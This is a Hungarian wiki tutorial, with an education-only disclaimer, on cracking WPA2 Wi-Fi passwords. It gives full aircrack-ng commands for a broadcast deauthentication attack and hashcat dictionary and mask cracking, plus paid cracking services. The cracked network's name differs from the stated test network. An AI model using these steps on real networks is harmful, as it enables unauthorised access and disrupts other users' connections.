WPA jelszó feltörése

From berki WIKI
Revision as of 21:24, 25 July 2018 by Adam (talk | contribs) (GPU rig használata)

Jump to: navigation, search
WarningIcon.png

Warning
Az itt leírtak kizárólag oktatási célt szolgálnak. Soha ne próbáljuk meg mások hálózatát feltörni se ezekkel a módszerekkel se máshogyan, kizárólag direkt, erre a célra létrehozott hálózatokon kísérletezzünk! A szerző semmilyen felelősséget nem vállal azért, ha valaki a figyelmeztetés ellenére rosszindulatúan használná fel az itt leírtakat.



Bevezető

https://medium.com/@brannondorsey/crack-wpa-wpa2-wi-fi-routers-with-aircrack-ng-and-hashcat-a5a5d3ffea46
A koncepció a következő. Elsőként begyűjtjük a feltörni kívánt hálózat adatait. Szükségünk van a BSSID-ra és a csatorna számára, amit az AccessPoint használ. Ha már tudjuk ezeket az információkat, akkor elkezdünk addig hallgatózni a csatornánk, amíg nem érkezik egy Handshake üzenet valamelyik klienstől. Csak olyan hálózatot tudunk megtámadni, ahol vannak kliensek, akik már ismerik a jelszót. Ha van legalább 1 kliens az AP-ra csatlakozva, akkor azt a klienst egy hamis autentikációs üzenettel rá tudjuk venni hogy csatlakozzon újra, így el tudjuk kapni a handshake üzenetet, amiben benne van a jelszó hash lenyomata. Ezen komplex feladat elvégzésére a aircrack-ng szoftver csomagot fogjuk használni.


A hash visszafejtését egy GPU rig-en fogjuk végezni a hashcat programmal, ami remekül ki tudja használni a GPU rig nyújtotta párhuzamosíthatóságot. Az airmon-ng által kiköpött hash formátum nem fogyasztható a hashcat által, ezért a .cap formátumot konvertálni kell .hccapx formátumra, majd brute-force módszerrel megpróbáljuk visszafejteni a hash-t.

Installáció

Aircrack-ng

Installálni kell a aircrack-ng csomagot

# dnf install aircrack-ng


hashcat-utils

Az aircrack által használt .cap fájformátumot a hashcat-utils-master csomagban található konverterrel tudjuk majd .hccapx formátumra konvertálni, amiben a hash formátum már megfelelő a haschcat-nek. ....


Hashcat

A Hascat-et a GPU rigre kell telepíteni. Itt feltételezzük, hogy már rendelkezésünkre áll egy teljesen konfigurált GPU rig (mining rig).

...hashcat telepítése...

# ./hashcat64.bin -m 1000 -b
hashcat (v4.1.0) starting in benchmark mode...

Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.

* Device #1: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #3: WARNING! Kernel exec timeout is not disabled.
             This may cause "CL_OUT_OF_RESOURCES" or related errors.
             To disable the timeout, see: https://hashcat.net/q/timeoutpatch
OpenCL Platform #1: NVIDIA Corporation
======================================
* Device #1: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU
* Device #2: GeForce GTX 1060 3GB, 754/3019 MB allocatable, 9MCU
* Device #3: GeForce GTX 1050 Ti, 1010/4040 MB allocatable, 6MCU

Benchmark relevant options:
===========================
* --optimized-kernel-enable

Hashmode: 1000 - NTLM

Speed.Dev.#1.....: 14465.9 MH/s (83.46ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1
Speed.Dev.#2.....: 13824.3 MH/s (85.87ms) @ Accel:128 Loops:1024 Thr:1024 Vec:1
Speed.Dev.#3.....:  8868.6 MH/s (87.05ms) @ Accel:256 Loops:512 Thr:1024 Vec:1
Speed.Dev.#*.....: 37158.8 MH/s

Látható hogy a rig-ünk teljes kapacítása 37158.8 Mega hash / sec (ez nem túl sok). Fontos hogy a rig összes GPU-ja ki legyen itt listázva.


Jelszó feltörése

Handshake elkapása

Monitor mode bekapcsolása

A WiFi adatpert át kell állítani monditor üzemmódba. Erre nem minden wifi kártya képes, a DELL gyári kártyája, szerenécsre igen:

# airmon-ng start wlp3s0

.... [phy0]wlp3s0mon)

Az utolsó sorban láthatjuk hogy mi lett a monitor interfész neve, ezt kell használni innentől kezdve a támadás során: wlp3s0mon


Hálózatok feltérképezése

Most nézzük meg hogy milyen hálózatokat lát a WiFi kártya. Szükésgünk lesz a feltörendő hálózat BSSID-jére és az AccessPoint által használt csatornára:

# airodump-ng wlp3s0mon
 CH  7 ][ Elapsed: 1 min ][ 2018-07-25 16:29                                         
                                                                                                                                                      
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                      
 AC:C1:EE:88:CE:93  -51      279        0    0   6  54e. WPA2 CCMP   PSK  RedmiAdam                                                                   
 00:12:C9:31:7A:28  -77      103        0    0   6  54e. WPA2 CCMP   PSK  TEST_NETWORK    <<<<                                                              
 C4:A3:66:45:34:6C  -84       56       23    0   1  54e  WPA2 CCMP   PSK  COSMOTE-45346C                                                              
 70:3A:D8:08:9A:F4  -86       47        8    0   9  54e  WPA2 CCMP   PSK  Almare_Roof                                                                 
 18:A6:F7:7E:B2:74  -86       43        0    0   1  54e  WPA2 CCMP   PSK  TEST_NETWORK RECEPTION                                                       
 68:72:51:62:B0:19  -91        1        0    0  10  54e. WPA2 CCMP   PSK  Hotel Hara 2                                                                 
 52:A3:66:50:72:C9   -1        0        1    0   1  -1   OPN              <length:  0>                                                                 
...    

Látható, hogy az általunk felörni kívánt hálózat a 6-os csatornán van, és a BSSID-je: 00:12:C9:31:7A:28


Handshake elkapása

Most addig fogunk hallgatózni ezen a csatornán, amíg nem érkezik legalább egy hanshsake az egyik klienstől. Ha egy kliens sincs éppen az AP-re csatlakozva, akkor nem járhatunk sikerrel. A hallgatózó airodump-ng parancs szintaktikája az alábbi:

airodump-ng -c <csatorna száma> --bssid <bssid> -w <output fájl base neve> <interfész név>

  • csatorna száma: 6
  • bssid: 00:12:C9:31:7A:28
  • montitor interszé neve: wlp3s0mon
# airodump-ng -c 6 --bssid 00:12:C9:31:7A:28 -w psk3 wlp3s0mon
CH  6 ][ Elapsed: 12 s ][ 2018-07-25 16:41     <itt jelenik majd meg a handshake>                                    
                                                                                                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                      
 00:12:C9:31:7A:28  -80 100      147        3    0   6  54e. WPA2 CCMP   PSK  TEST_NETWORK                                                            
                                                                                                                                                      
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                            
                                                                                                                                                      
 00:12:C9:31:7A:28  8C:F5:A3:9A:A8:D0  -83    0 -24      0        1                                                                                    
 00:12:C9:31:7A:28  8C:0D:76:D4:56:34   -1    0e- 0      0        2                                                                                    
 00:12:C9:31:7A:28  AC:C1:EE:97:17:EF  -89    0 - 6      0        2       
ImportantIcon.png

Note
Ha itt nem látunk egy klienst sem a listában, akkor nem fog sikerülni a támadás, mert nem lesz ki újra csatlakozzon


Láthatjuk a klienseket az alsó listában (station). Jelenleg 3 kliens csatlakozik az AP-re. Vagy addig várunk, amíg valaki nem csatakozik újra, vagy kierőszakoljuk mi magunk az újracsatlakozást a kliensek becsapásával. A cél, hogy a jobb felős sarokban megjelenjen a WPA handshake felirat, amit be is jelöltem ('itt jelenik majd meg a handshake')

Újrakapcsolódás kierőszakolása

Most erőszakoljuk ki a kliensek újracsatlakozását egy hamis autentikációs üzenettel, amit a broadcust címre küldünk a aireplay-ng eszközzel, ami része az airodump-ng csomagnak. Template:Worning


aireplay-ng -0 2 -a <bssid> <interfész név>


Itt a 2-val azt mondjuk meg, hogy kettő darab becsapós csomagot küldjön ki. Nyissunk meg egy másik command ablakot, és adjuk ki az alábbi parancsot:

# aireplay-ng -0 2 -a 00:12:C9:31:7A:28 wlp3s0mon
16:52:50  Waiting for beacon frame (BSSID: 00:12:C9:31:7A:28) on channel 6
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
16:52:50  Sending DeAuth to broadcast -- BSSID: [00:12:C9:31:7A:28]
16:52:51  Sending DeAuth to broadcast -- BSSID: [00:12:C9:31:7A:28]

Látható, hogy kettő darab becsapós csomagot küldütt ki az AP nevében a broadcust címre. Most várni kell hogy a kliensek úrja csatlakozzanak.


Ha legalább egy kliens megkapta a becsapós csomagot, újra fog csatlakozni. Ezt onnan fogjuk lánti, hogy a hálózat figyelő abalkunkban, jobb felül megjelenik a handshake. A Crtl+c-vel állítsuk le a montitort.

CH  6 ][ Elapsed: 2 mins ][ 2018-07-25 16:58 ][ WPA handshake: 00:12:C9:31:7A:28     <<<itt megjelent a handshake                                      
                                                                                                                                                      
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                                                      
 00:12:C9:31:7A:28  -79 100     1484       63    0   6  54e. WPA2 CCMP   PSK  TEST_NETWORK                                                            
                                                                                                                                                      
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                     
...
ImportantIcon.png

Note
Ha a becsapós csomagok kiküldése után pár másodperccel nem jelenik meg a handshake, akkor kicsit várjunk, hogy újabb kliensek is az AP-ra csatlakozzanak, és próbáljuk meg újra. Ez türelem játék


Mi jött létre

Nézzük meg milyen fájlok keletkeztek:

# ll
total 4468
....
-rw-r--r--  1 root root  170590 Jul 25 16:58 psk3-03.cap
-rw-r--r--  1 root root     589 Jul 25 16:58 psk3-03.csv
-rw-r--r--  1 root root     592 Jul 25 16:58 psk3-03.kismet.csv
-rw-r--r--  1 root root    4034 Jul 25 16:58 psk3-03.kismet.netxml

Számunkra a .cap kiterjesztésű fájl az érdekes, abban vannak elmentve a handshake-ek, amiket akkor kaptunk el, mikor a kliensek újra csatlakoztak az AP-hez. Itt egy vagy több hash található, amiket vissza fogunk fejteni a GPU riggel. (az utolsó számot futtatásonként egyel növeli az airodump-ng, nálunk ez a 3. futtatás eredménye)

Konvertálás

A .cap fájlt konvertálni kell .hccapx formátumra, hogy fel tudjuk dolgozni a hashcat programmal.

cd ...../hashcat-utils-master/src/
# ./cap2hccapx.bin psk3-03.cap psk3-03.hccapx
Networks detected: 1

[*] BSSID=00:12:c9:31:7a:28 ESSID=TEST_NETWORK (Length: 12)
 --> STA=ac:c1:ee:97:17:ef, Message Pair=0, Replay Counter=1
 --> STA=ac:c1:ee:97:17:ef, Message Pair=2, Replay Counter=1

Written 2 WPA Handshakes to: psk3-03.hccapx

Látható, hogy a psk3-03.cap fájl 2 handshake-et tartalmazott, tehát két klienst is rá tudtunk venni hogy újracsatlakozzon. {{note|Ha az utolsó sorban az jelenik meg, hogy 'Written 0 WPA..', az azt jelenit, hogy nem tartalmazott handshake-t a .cap fájl, nem sikerült felvenni egy újracsatlakozást sem. Mindig várjuk meg, hogy a monitorozás alatt megjelenjen jobb fölül a 'WPA Handshake' felirat.


Hash visszafejtése

GPU rig használata

Hogyan telepítsük + gui: https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker

Célszerű betartani egy sorrendet az egyszerűtől a nagyon bonyolultig. Elsőként mindig próbáljuk meg szimplán a szótár alapú törést használni. Ekkor egy szótár fájl minden egyes sorára egyenként rápróbál a hashcat. Ha ez nem működött érdemes a kombinált törést alkalmazni, amikor több szótár fájl tartalmát permutáljuk. Ha ez is kevés, akkor számokat is hozzá adhatunk. Ha még ez sem segített, csak akkor érdemes a brute-force visszafejtés.


Nekem csak egy 3 GPU-s rigem van, ami nem képvisel túl komoly számítási kapacitást, így brute-force törésre gyakorlatilag alkalmatlan.


Első lépésként a konvertált hash fájlt (psk3-03.hccapx) a rig-re kell másolni.

# scp psk3-03.hccapx root@example.org:/path/to/folder


TipIcon.png

Tip
Fontos, hogy minden más GPU tevékenységet leállítsunk a rig-en, tehát NE bányásszunk, amíg jelszó visszafejtésre akarjuk használni a gépet :)


A hashcat szintaxis az alábbi:

./hashcat64.bin -m <hash típus> -a <törési módszer> -o <ahova a végeredmény kerül> <hash fájl> <szótár fájl(ok)>
  • -m: hash típus: A hashcat töménytelen típust támogat. WPA esetén ez 2500. Íme a lista: https://hashcat.net/wiki/doku.php?id=example_hashes
  • -a: törési módszer:
    • 0: sima szótár fájl alapú
    • 1: kombinált szótárak
    • 3: brute force
    • Hybrid Wordlist + Mask
    • Hybrid Mask + Wordlist




Szimpla szótárár alapú keresés

Nagyon nagyon sok szó gyűjtemény létezik. A Keli linux-ban gyárilag nagyon sok szótárat találunk. Az egyik legáltalánosabb gyűjtemény a rockyouo.txt, amiben jelenleg 14344391 'szó kombináció' található. Azért mondom hogy kombináció, mert a legtöbb szó számokkal keverve is megtalálható. Ezen felül a leggyakoribb jelszavakat is tartalmazza.


wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt



# ./hashcat64.bin -m 2500 -a 0 -o cracked.txt psk3-03.hccapx rockyou.txt
...
Session..........: hashcat
Status...........: Cracked
Hash.Type........: WPA/WPA2
Hash.Target......: STUDIO IRENE (AP:00:12:c9:31:7a:28 STA:ac:c1:ee:97:17:ef)
Time.Started.....: Wed Jul 25 23:55:04 2018 (2 secs)
Time.Estimated...: Wed Jul 25 23:55:06 2018 (0 secs)
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:    91063 H/s (7.24ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#2.....:    85771 H/s (7.25ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#3.....:    85478 H/s (7.80ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#*.....:   262.3 kH/s
...

Kombinált szótár alapú keresés

Kombinált szótár alapú keresés számokkal

Brute-force

maszkos támadás a hashcat oldalárol: https://hashcat.net/wiki/doku.php?id=mask_attack
egy remek példa: https://www.4armed.com/blog/perform-mask-attack-hashcat/

WarningIcon.png

Warning
Ez a legkevésbé célravezető módszer. Az én 3 GPU-s rigemmel a 8 karakter hosszra is 17 napot jósolt!!! Mennyi áram az, te jó ég. Pláne ha hosszabb! Mindig kezdjük a szótár alapú töréssel, aztán a kombinált töréssel.



A hashcat jelelegi verziója (4) már nem támogatja az igazi brute-force törést, mára már a maszk alapú törést hívják brute-force-nak. Ez azt jelenti, hogy egyrészről valami féle feltételezéssel kell éljünk a jelszó hosszát illetően, másrészt minden egyes jelszó karakterre meg kell adni a karakter készletet, ami ott szóba jöeht.


# hashcat-4.1.0/hashcat64.bin -m 2500 -a 3 -1 ?l?d -o cracked psk3-03.hccapx ?l?l?l?l?l?1?1?1
hashcat (v4.1.0) starting...
..
Session..........: hashcat
Status...........: Running
Hash.Type........: WPA/WPA2
Hash.Target......: STUDIO IRENE (AP:00:12:c9:31:7a:28 STA:ac:c1:ee:97:17:ef)
Time.Started.....: Wed Jul 25 23:05:44 2018 (4 secs)
Time.Estimated...: Mon Aug 13 06:50:55 2018 (18 days, 7 hours)
Guess.Mask.......: ?l?l?l?l?l?1?1?1 [8]
Guess.Charset....: -1 ?l?d, -2 Undefined, -3 Undefined, -4 Undefined 
Guess.Queue......: 1/1 (100.00%)
Speed.Dev.#1.....:   133.9 kH/s (15.70ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
Speed.Dev.#2.....:   133.8 kH/s (16.04ms) @ Accel:64 Loops:16 Thr:1024 Vec:1
Speed.Dev.#3.....:    87386 H/s (7.85ms) @ Accel:32 Loops:16 Thr:1024 Vec:1
Speed.Dev.#*.....:   355.1 kH/s
Recovered........: 0/1 (0.00%) Digests, 0/1 (0.00%) Salts
Progress.........: 1376256/554337478656 (0.00%)
Rejected.........: 0/1376256 (0.00%)
Restore.Point....: 0/21320672256 (0.00%)
Candidates.#1....: mfvytane -> mmcjyone
Candidates.#2....: msefpone -> mzjmalll
Candidates.#3....: carierin -> cgvytane
HWMon.Dev.#1.....: Temp: 59c Fan:  0% Util: 96% Core:1455MHz Mem:4428MHz Bus:1
HWMon.Dev.#2.....: Temp: 55c Fan:  0% Util: 98% Core:1379MHz Mem:4428MHz Bus:1
HWMon.Dev.#3.....: Temp: 51c Fan:  0% Util: 99% Core:1404MHz Mem:3903MHz Bus:1


  • -m -el meg kell mondani a hash tipusát. Ez WPA esetén mindig 2500.
  • -a -val a támadás fajtáját. 3= brute force (maskos brute force)
  • - aztán ami utána jön, az a maszk. A ? után mindig a character készletre hivatkozunk. Itt pont egy 8 hosszú jelszót adtunk meg.

vannak a beépített karakter készletek:

?l = abcdefghijklmnopqrstuvwxyz ?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ ?d = 0123456789 ?h = 0123456789abcdef ?H = 0123456789ABCDEF ?s = «space»!"#$%&'()*+,-./:;<=>?@[\]^_`{|}~ ?a = ?l?u?d?s ?b = 0x00 - 0xff

és ezeket kombinálhatjuk össze, amiket elnevezhetünk 1-től 4-ig, ahogy azt láthatjuk a kommand végén, ott van az 1-es definíciója: -1 ?l?d?u vagyis kis és nagybetűk + számok. De ide még többet is megadhattunk volna, pl ha a tudjuk, hogy csak az eslő nagybetű. Bármilyen infó a jelszóról drasztikusan csökkenti a törést.

GPU hash szolgáltatók

Talán az egyetlen szóba jöhető módszer, ha egy hash törő szolgáltatást veszünk igénybe, akik valamennyi BTC-ért cserébe visszafejtik pillanatok alatt a hash kódot.

gpuhash.me

A https://gpuhash.me/ 0.001 BTC-t kér a törésért, amit kevesebb mint 15 perc alatt el is végeztek. Figyelemre méltó. Ráadásul csak akkor kell kifizetni, ha meg is találta.

ClipCapIt-180725-221753.PNG

onlinehashcrack

Valamivel olcsóbb, mert csak 5 eurót kérnek a törését, és email címet is kérnek, ahol értesítenek, tehát kevéssé diszkrét.